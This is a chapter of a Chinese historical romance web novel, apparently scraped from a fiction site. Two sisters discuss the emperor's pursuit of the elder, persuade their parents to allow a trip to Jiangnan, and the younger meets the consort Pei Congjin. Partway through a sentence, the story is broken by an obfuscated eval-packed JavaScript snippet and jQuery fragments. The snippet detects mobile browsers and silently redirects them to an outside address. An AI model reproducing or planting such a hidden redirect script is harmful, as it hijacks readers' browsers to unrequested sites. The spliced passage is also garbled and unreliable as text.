默认冷灰
24号文字
方正启体

16. 驸马

作者:水暖鸭知本书字数:K更新时间:
    他也不再有信来了。


    她想着,大约之前种种如镜花水月般,慢慢的就散了,这样的结局也好。


    直到出孝后的这次马球赛,已是三年没见。


    顾珈把一切和盘托出后,仿佛把压在心口三年多的石头搬开了,心情一时轻松起来了。


    顾珂斟酌着开了口,“那今天你又见到圣……他了?”


    顾珈点点头,道,“他不欲放手”。


    顾珂蹙起眉,如果说的是别人想法,那算不得什么,还能强娶强纳了?


    可是如果是李维桢……顾珂咽了口口水,他还真能。


    这事要搁在别的女子身上,别说她个人,就是整个家族那都得敲锣打鼓,与有荣焉。


    要是让他们知道了顾珈的想法,大抵上会觉得她大概是疯了,是不识好歹,会连夜给她捆了送上龙床。


    但顾珂能理解顾珈的想法,大约是祖父洒脱性情的影响,又大约是一身反骨的祖母的影响,如果换成自己,大约也不会做那三千红粉骷髅中的一个。


    何况,都三年了,李维桢对姐姐现在的真实想法是什么,谁也无从知晓,这其中真正的不能忘怀有多少,还是九五之尊被拒绝后的不甘。


    “那姐姐现在怎么想的”,顾珂握住顾珈冰凉的手。


    “三年前他做不到,那时便已结束了”。


    “那你对圣人现在的感觉……”


    “三年了,我以为我已经没感觉了,可是……”,顾珈回握住顾珂的手,“我知道他三年前面对的是什么,但是一辈子太长了,为了男女之情抛弃自我,我做不到,我怕在那种吃人的地方,我会慢慢变成我讨厌的那种样子”。


    “那就跟随你自已的心走,如果姐姐决定进宫,我们就帮你维护后宫地位,如果姐姐决定远离,我们就保护姐姐让你随心所欲,不管姐姐怎么选择,我们都支持你,相信大伯父,大伯母,还有祖父都会的”。


    顾珈的心情收拾的差不多了,闻言笑道,“万一他要强纳我入宫呢,你还能抗旨不成?那可是杀头的大罪”。


    顾珂到不担心,“除非姐姐点头,要不然圣人就是失心疯了,强抢祖父的孙女入宫,祖父非得煽动天下读书人用唾沫淹死他!”


    “就你能耐”,顾珈的玉指在顾珂头上轻点,“恐怕到时候天下读书人不会觉得是他强抢民女,倒会觉得是咱们不识好歹,不能替君父分忧。”


    “虽然只见过圣人一面,但给我的感觉是圣人不会糊涂至此的”。


    说笑是说笑,顾珈闻言也点点头,“他应该不是那种人,可是他如果不想放手,必然还会有接触,蓁蓁,我怕的是我自已,怕再接触下去,我会动摇,会改变我的初衷,会放弃我的原则,既使他当初有千万种不得已,就算像他说的那样,以后只我一个人,但是吴淑妃和王昭容她们就在那里,这是不会变成的事实,蓁蓁,你明白吗”。


    顾珂点点头,平心而论,抛却帝王的身份,李维桢也是极出色的一个人,姐姐身边的任何一个,甚至除了……


    除了裴越外,她没找到另一个不论是从相貌还是才华、能力上面能胜过李维桢的人。


    如果这样的人真的经常纠缠,二人本就有情愫,那顾珈如何能忘了他,终究陷入两难的境地。


    顾珂不由叹了口气,想了想,出主意道,“不如我们出去走走吧”。


    “去哪里”。


    “去江南走走吧,黄庭坚有诗云春色满江南,雨晴风暖烟淡,天气正醺酣。听苏菱说,三月的江南最是怡人,等回来,也许一切都不一样了。”


    顾珈听了,不由眼前一亮,“这个主意极好,到省得母亲天天催我们相亲,等我们回来,估计正好赶上祖父生日,大哥回来完婚”。


    二人越说越有兴致,三言二语间就定下来了去江南的事,第二天一早二人便去禀了杜氏。


    杜氏当时正在用早餐,听得顾珈的话,手中的筷子唰的就朝顾珈扔来。


    顾珈头一偏,避开了,面上仍是笑嘻嘻的,倒把正在喝粥的顾伯山吓了一跳。


    顾珂低着头悄悄的往旁边挪了挪。


    “你个孽障!你要气死我是不是!”杜氏怒火中烧。


    “我就是想出去转转,除了这长安,别的地方我都没见识过呢”。


    “哪有你们两个未婚的闺阁女子可哪跑的,万一出什么危险你让我跟你父亲怎么活”,杜氏越说越来气。


    “您看你扯哪去了,这天下太平的,哪里来的危险,何况怎么就我们两个人了,那不还有白芍绿芷、知情知意,还有……”顾珈还要数下去。


    杜氏胸口的起伏越来越大,扬手要抛碗,一摸却没摸着,碗被顾伯山拢到了一边,杜氏更气道,转过头火气对着顾伯山就去了,“你们父女一天要气死我是不是,你闺女都这样了你还不管管!”


    顾伯山三口并做两口,几下就喝完了手中的梗米粥,笑道,“你说孩子就说孩子,这怎么就扯到我身上了,夫人你要讲道理啊”。


    杜氏深吸一口气,道,“好,那你跟她讲道理”。


    顾伯山转过头对着顾珈轻咳一声,道,“你那个鞭子别忘了带上”。


    杜氏用力拍了一下桌子,刚要起身发火,顾伯山转身拉住她,把她搂在椅子上,“我倒觉得出去转转也挺好的啊”。


    杜氏眼一瞪,正待发作,顾伯山忙接道“你看你少时跟岳丈、舅兄他们在西北呆过,我总觉得你跟这京城中未见过世面的妇人不一样,孩子们没有你的机遇,没锻炼过眼界,而且你看这孩子们守孝三年,在家也憋坏了,这眼瞅就要说亲,以后当了别人家的媳妇,出来进去的,哪里还能像现在这样自由,别人问起,就说探亲去了,多带些人就是了,明天我去趟舅兄那,管他借两个身手好的侍卫,就更没什么可担心的了”。


    顾伯山看杜氏听进去了,正思索他说的话,忙趁热打铁,在她耳边小声道,“二弟妹和母亲去世,蓁蓁与季氏又不太处得来,她这些年心里不好过,正好出去散散心,父亲那边我去说,想必也不会反对的”。


    杜氏沉吟不语,顾伯山凭着对妻子的了解,知道这件事大抵上是成了,又对着二人正色道,“你们二人也当知道你母亲、大伯母的苦心,只她纵着你们,但从江南回来之后,对自已的亲事也该上心了。”


    顾珈、顾珂连连点头称是。


    顾珈喜上眉梢,忙坐道杜氏身边抱着她的胳膊撒娇,“知道母亲最疼我们了,从江南回来后我们一定事事听从母亲的吩咐,母亲让我们往东,我们绝不往西”。


    杜氏听了这话,狠狠瞪了她一眼,又在她脑门上戳了一下,道,“这可是你应了的,回来莫


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468485|201349||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    要再推三阻四了”。


    顾珈忙道,“是是,都听母亲的”。


    杜氏又看顾珂,顾珂坐在杜氏的另一边,拉着她的袖子道,“都听大伯母的”。


    杜氏叹了口气,拍拍顾珂的手,这边顾伯山已是把饭碗摆了回来。


    “夫人消消气,别耽搁了用饭,这粥我刚才尝过了,米香十足,你用用看”。


    杜氏重新用起饭来,这厢算是落定了。


    等杜氏低头用饭,顾珈与顾珂挤挤眼睛,顾珈还在身手向顾伯山比了比大拇指。


    顾伯山面上不动声色,只端起粥碗吹凉,一幅事了拂衣去,深藏功与名的高人姿态,看得顾珂心中对大伯父的信服更上一层楼。


    余下几日,顾珈的酿春堂和顾珂的浣花庐便忙了起来,为出行做准备。


    没想到裴越却使了人上门求见顾二姑娘。


    原是裴越兑现上巳节那天承诺的茶叶。


    顾珂颇感意外,只道她那天是随口一说。不想竟真的送来了。


    因那日答应苏菱的事,于是便去见了祖父,一是道别,二是说一下想邀苏菱兄妹上门的事。


    去了祖父院子,却得知祖父一早去了曲江池垂钓去了。


    左右无事,顾珈不在府中,顾珂便带着知情知意二人坐马车去寻顾衡。


    到了曲江边,顾珂一眼便寻到了祖父,便下了马车往池边走。


    “祖父……”,待顾衡回过头,顾珂才发现,祖父身边还坐着个儒雅俊秀的中年男子。二人正相谈甚欢。


    顾衡回过身,见是顾珂,“呵呵”一笑,缕了缕颌下花白的胡子,为中年男子介绍到,“这是我二孙女顾珂”。


    又对着顾珂道“来见过裴驸马,这可是二十多年前,广文馆三千弟子中最优秀的学生”。


    顾珂怔了一下,马上反过来这人是谁,深感意外,弯身行了一礼,“见过裴驸马,问候长公主妆安”。


    从未听说家里跟长公主府有何交往。


    这位裴驸马顾珂倒是听说过。裴驸马名裴从谨,出身河东裴氏嫡支,大约二十多年前是国子监广文馆中名气最大的监生。


    后来却突然尚了惠和公主,因本朝驸马不得参政,而裴从谨是河东裴那一辈最优秀的子弟,被族中寄予厚望,故河东裴氏的族老们气得呕血。


    认为是皇家用强权压制裴从谨,甚至裴家朝中子弟纷纷上书弹劾惠和公主,直至后来裴从谨亲自回族中解释,是其对惠和公主一见钟情,惠和公主才答应下嫁。


    裴家怒其不争,偏裴从谨极有主意,最后才不得不做罢。


    这段故事甚至被好事者写成话本子,成了多少深闺女子的枕边读物,都憧憬着能够遇上一个如裴驸马般的人物。


    带看清了这位传奇人物的相貌,顾珂不由感叹传言还是保守了。


    裴越继承了其父母的好相貌,而裴驸马随着年龄的增长与阅历的增加,更显超脱从容。


    比起祖父这个前国子监祭酒,倒更显名士之风。


    而此时这个传奇人物正笑着看了看顾珂,转过头对顾衡道,“果然是老师的孙女,看上去格外灵秀聪惠”。


    顾衡得意的一笑,又故作谦虚道“勉强算不得愚笨罢了”。


    “听公主说,我那个傻儿子五年前就是被你这个女娃娃所救?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)